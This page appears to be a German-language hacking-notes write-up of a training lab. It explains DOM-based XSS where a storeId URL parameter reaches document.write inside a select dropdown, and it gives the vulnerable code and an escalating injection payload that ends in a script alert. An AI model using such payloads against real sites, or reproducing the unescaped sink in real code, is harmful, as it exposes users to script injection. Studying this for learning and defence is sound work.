> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-dom-with-document-write-inside-a-select.md).

# DOM-XSS mit document.write innerhalb eines Select-Elements

### DOM-XSS in document.write-Sink unter Verwendung der Quelle location.search innerhalb eines Select-Elements

<figure><img src="/files/805527ba2a921069252a06031cc7c57ab1382c09" alt=""><figcaption></figcaption></figure>

Der folgende Code erzeugt dynamisch ein `<select>` Dropdown-Menü mit verschiedenen Städten und wählt diejenige aus, die in der **storeId** Parameter in der URL:

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Beispiel mit Parameter:

```
product?productId=2&storeId=Jordan
```

* Dies fügt der Dropdown-Liste eine neue Option hinzu.

<figure><img src="/files/a2ca9361e8bc2b271f03cf20f08214e8577fc8a6" alt=""><figcaption></figcaption></figure>

Durch manuelles Schließen des `<option>` Tag:

```javascript
</option>Jordan
```

`<select>` kann auch geschlossen werden:

```javascript
</option></select>Jordan
```

<figure><img src="/files/a948e6c3cfd8f131ba4187314fcfc1eef94fbbfb" alt=""><figcaption></figcaption></figure>

Endgültige Injektion zum Ausführen von JavaScript:

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="/files/07214a47fdaf4856d81708e5d6c4193d04ee5d17" alt=""><figcaption></figcaption></figure>


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